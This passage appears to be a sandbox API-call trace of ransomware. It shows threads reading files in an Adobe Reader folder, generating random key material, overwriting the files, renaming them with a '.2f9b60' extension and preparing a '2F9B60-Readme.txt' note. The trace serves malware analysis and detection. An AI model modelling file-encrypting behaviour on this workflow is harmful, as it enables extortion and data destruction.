10.0\\Reader\\AIR\\adaccd832c2.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\adaccd832c2.2f9b60" [0164.189] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\adaccd832c2.2f9b60", NtPathName=0x2645fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\adaccd832c2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b710 [0164.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2b710) returned 1 [0164.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac740) returned 1 [0164.695] NtQueryInformationFile (in: FileHandle=0x1458, IoStatusBlock=0x2645fc58, FileInformation=0x2645fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2645fc58, FileInformation=0x2645fc68) returned 0x0 [0164.696] NtSetInformationFile (FileHandle=0x1458, IoStatusBlock=0x2645fc58, FileInformation=0x2645fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230ebe0) returned 1 [0165.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fad60) returned 1 [0165.150] FlushFileBuffers (hFile=0x1458) returned 1 [0166.277] CloseHandle (hObject=0x1458) returned 1 [0200.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431e4340 [0200.290] wcscpy (in: _Dest=0x431e4340, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0200.290] wcscat (in: _Dest=0x431e4340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0200.290] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) Thread: id = 2420 os_tid = 0x1e44 [0153.391] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq")) returned 0x20 [0153.391] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ", dwFileAttributes=0x20) returned 1 [0153.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1450 [0153.392] GetFileSizeEx (in: hFile=0x1450, lpFileSize=0x26f1fc60 | out: lpFileSize=0x26f1fc60*=7680) returned 1 [0153.392] SetFilePointerEx (in: hFile=0x1450, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.392] ReadFile (in: hFile=0x1450, lpBuffer=0x26f1fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26f1fc28, lpOverlapped=0x0 | out: lpBuffer=0x26f1fbe0*, lpNumberOfBytesRead=0x26f1fc28*=0x4, lpOverlapped=0x0) returned 1 [0153.632] SetFilePointerEx (in: hFile=0x1450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053a30 [0153.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053ac0 [0153.633] NtQuerySystemTime (in: CurrentTime=0x26f1fb20 | out: CurrentTime=0x26f1fb20*=132462177587686000) returned 0x0 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x2474e86b [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x71cb59a7 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x41890efa [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x48f85ca1 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x174725aa [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x39281891 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x7a858d6b [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x139496ee [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x27db42e3 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x74428165 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x1fb3327b [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x4ac4d248 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x1107009e [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x75b6a949 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x6d6d78cc [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x4e4d815c [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x79cfd089 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x3fbe0c8b [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x5e71ee1b [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x54447f92 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x66900697 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x12cbe834 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x268349a3 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x18406cc5 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0xf952be3 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x3484107c [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x166c8021 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x7785fb12 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x22b099fe [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x51b4a57d [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x30376183 [0153.633] RtlRandomEx (in: Seed=0x26f1fb10 | out: Seed=0x26f1fb10) returned 0x1eecaa9a [0153.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053af0 [0153.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0153.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b20 [0153.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0153.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053ac0) returned 1 [0153.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e20 [0153.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0153.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426ffa20 [0153.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42703630 [0153.642] ReadFile (in: hFile=0x1450, lpBuffer=0x426ffa20, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x26f1fb10, lpOverlapped=0x0 | out: lpBuffer=0x426ffa20*, lpNumberOfBytesRead=0x26f1fb10*=0x1e00, lpOverlapped=0x0) returned 1 [0154.264] SetFilePointerEx (in: hFile=0x1450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.264] WriteFile (in: hFile=0x1450, lpBuffer=0x42703630*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x26f1fb14, lpOverlapped=0x0 | out: lpBuffer=0x42703630*, lpNumberOfBytesWritten=0x26f1fb14*=0x1e00, lpOverlapped=0x0) returned 1 [0162.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7c70 [0162.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7ca0 [0162.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7ca0) returned 1 [0162.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42703630) returned 1 [0162.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426ffa20) returned 1 [0162.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0162.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e20) returned 1 [0162.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7ca0 [0162.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e20 [0162.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0162.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7cd0 [0162.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7cd0) returned 1 [0162.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7cd0 [0162.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7d00 [0162.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7d30 [0162.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7d30) returned 1 [0162.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0162.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e20) returned 1 [0162.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16090 [0162.172] SetFilePointerEx (in: hFile=0x1450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.172] WriteFile (in: hFile=0x1450, lpBuffer=0x42c16090*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x26f1fc30, lpOverlapped=0x0 | out: lpBuffer=0x42c16090*, lpNumberOfBytesWritten=0x26f1fc30*=0x108, lpOverlapped=0x0) returned 1 [0164.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053bb0 [0164.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053bb0) returned 1 [0164.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053bb0 [0164.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b80 [0164.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b80) returned 1 [0164.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.175] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="e6") returned 2 [0164.175] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="16") returned 2 [0164.175] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="73") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="9f") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="9c") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="ea") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="52") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="ba") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="0f") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="dc") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="c1") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="49") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="65") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="f4") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="87") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="39") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="a2") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="16") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="ea") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="bb") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="44") returned 2 [0164.176] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.176] RtlInitAnsiString (in: DestinationString=0x26f1fca8, SourceString="e616739f9cea52ba0fdcc14965f48739a216eabb44b0" | out: DestinationString="e616739f9cea52ba0fdcc14965f48739a216eabb44b0") [0164.176] RtlAnsiStringToUnicodeString (in: DestinationString=0x26f1fc78, SourceString="e616739f9cea52ba0fdcc14965f48739a216eabb44b0", AllocateDestinationString=1 | out: DestinationString="e616739f9cea52ba0fdcc14965f48739a216eabb44b0") returned 0x0 [0164.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203facf0 [0164.177] RtlFreeAnsiString (AnsiString="e") [0164.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053bb0) returned 1 [0164.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16090) returned 1 [0164.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7cd0) returned 1 [0164.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7d00) returned 1 [0164.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7ca0) returned 1 [0164.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7c70) returned 1 [0164.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053a30) returned 1 [0164.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053af0) returned 1 [0164.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b20) returned 1 [0164.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230eb40 [0164.180] wcscat (in: _Dest=0x4230eb40, _Source="e616739f9ce" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e616739f9ce") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e616739f9ce" [0164.180] wcscat (in: _Dest=0x4230eb40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e616739f9ce.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e616739f9ce.2f9b60" [0164.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e616739f9ce.2f9b60", NtPathName=0x26f1fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\e616739f9ce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b650 Thread: id = 2421 os_tid = 0x1e48 [0153.394] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.fra")) returned 0x20 [0153.394] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA", dwFileAttributes=0x20) returned 1 [0153.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.fra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x144c [0153.395] GetFileSizeEx (in: hFile=0x144c, lpFileSize=0x2701f9e0 | out: lpFileSize=0x2701f9e0*=8192) returned 1 [0153.395] SetFilePointerEx (in: hFile=0x144c, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.395] ReadFile (in: hFile=0x144c, lpBuffer=0x2701f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2701f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2701f960*, lpNumberOfBytesRead=0x2701f9a8*=0x4, lpOverlapped=0x0) returned 1 [0153.642] SetFilePointerEx (in: hFile=0x144c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053ac0 [0153.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b50 [0153.643] NtQuerySystemTime (in: CurrentTime=0x2701f8a0 | out: CurrentTime=0x2701f8a0*=132462177587686000) returned 0x0 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x4aeab6e6 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x2387ef32 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x45667319 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x1787b5d3 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x9424d6b [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x62068a16 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x74ebde72 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x1a17bd32 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x5272b540 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x476a5baf [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x241aed78 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x19962655 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x629c0e2c [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x323faaed [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x6841144f [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x1f8d6305 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x468f86bd [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x2dc6b001 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x33714dc6 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x1bbff0b6 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x73d68246 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x4a11e5fb [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x2da9ac19 [0153.643] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x618cb9e7 [0153.644] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x451cbd3 [0153.644] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x3307e886 [0153.644] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x480f0965 [0153.644] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x33714dc6 [0153.644] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x5352e699 [0153.644] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x18521812 [0153.644] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x30665951 [0153.644] RtlRandomEx (in: Seed=0x2701f890 | out: Seed=0x2701f890) returned 0x7785fb12 [0153.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b80 [0153.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420610b0 [0153.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053bb0 [0153.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0153.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b50) returned 1 [0153.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e70 [0153.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420610b0 [0153.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42707240 [0153.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4270ae50 [0153.653] ReadFile (in: hFile=0x144c, lpBuffer=0x42707240, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2701f890, lpOverlapped=0x0 | out: lpBuffer=0x42707240*, lpNumberOfBytesRead=0x2701f890*=0x2000, lpOverlapped=0x0) returned 1 [0154.264] SetFilePointerEx (in: hFile=0x144c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.264] WriteFile (in: hFile=0x144c, lpBuffer=0x4270ae50*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2701f894, lpOverlapped=0x0 | out: lpBuffer=0x4270ae50*, lpNumberOfBytesWritten=0x2701f894*=0x2000, lpOverlapped=0x0) returned 1 [0162.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7bb0 [0162.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7be0 [0162.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7be0) returned 1 [0162.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4270ae50) returned 1 [0162.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42707240) returned 1 [0162.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0162.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e70) returned 1 [0162.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7be0 [0162.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e70 [0162.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420610b0 [0162.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7c10 [0162.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7c10) returned 1 [0162.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7c10 [0162.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7c40 [0162.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7c70 [0162.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7c70) returned 1 [0162.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0162.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e70) returned 1 [0162.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x1694d0 [0162.161] SetFilePointerEx (in: hFile=0x144c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) 